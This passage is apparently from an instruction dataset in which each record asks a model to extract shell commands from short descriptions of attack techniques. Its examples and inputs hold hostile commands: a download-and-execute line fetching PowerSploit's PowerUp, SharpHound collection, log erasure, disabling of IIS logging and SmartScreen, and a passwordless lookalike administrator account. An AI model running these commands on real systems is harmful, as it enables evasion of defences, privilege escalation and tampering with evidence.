    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test removes all log data including main datastore, inflight logs, TTL data, and fault content by executing the command: sudo log erase --all\nsudo log erase --ttl #Deletes only time-to-live log content",
    "output": "{\"command_list\": [\"sudo log erase --all\\nsudo log erase --ttl #Deletes only time-to-live log content\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For disabling HTTP logging similar to Threat Group 3390's methods, execute the following PowerShell command after ensuring IIS configurations are unlocked: set-WebConfigurationProperty -PSPath \"IIS:\\\\Sites\\\\#{website_name}\\\\\" -filter \"system.webServer/httpLogging\" -name dontLog -value $true",
    "output": "{\"command_list\": [\"set-WebConfigurationProperty -PSPath \\\"IIS:\\\\Sites\\\\#{website_name}\\\\\\\" -filter \\\"system.webServer/httpLogging\\\" -name dontLog -value $true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can copy a command to the clipboard and run it by executing this PowerShell command: echo Get-Process | clip\nGet-Clipboard | iex",
    "output": "{\"command_list\": [\"echo Get-Process | clip\\nGet-Clipboard | iex\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can create a network share by executing this command: net use c: #{share_name}\nnet share test=#{share_name} /REMARK:\"test share\" /CACHE:No",
    "output": "{\"command_list\": [\"net use c: #{share_name}\\nnet share test=#{share_name} /REMARK:\\\"test share\\\" /CACHE:No\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a user whose username includes a trailing space, run the command: New-LocalUser -Name \"Administrator \" -NoPassword",
    "output": "{\"command_list\": [\"New-LocalUser -Name \\\"Administrator \\\" -NoPassword\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view the ARP table entries for hosts on the same network segment, use the following command: ip neighbour show",
    "output": "{\"command_list\": [\"ip neighbour show\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Group policy settings can be modified with the following command:\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name ShellSmartScreenLevel -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    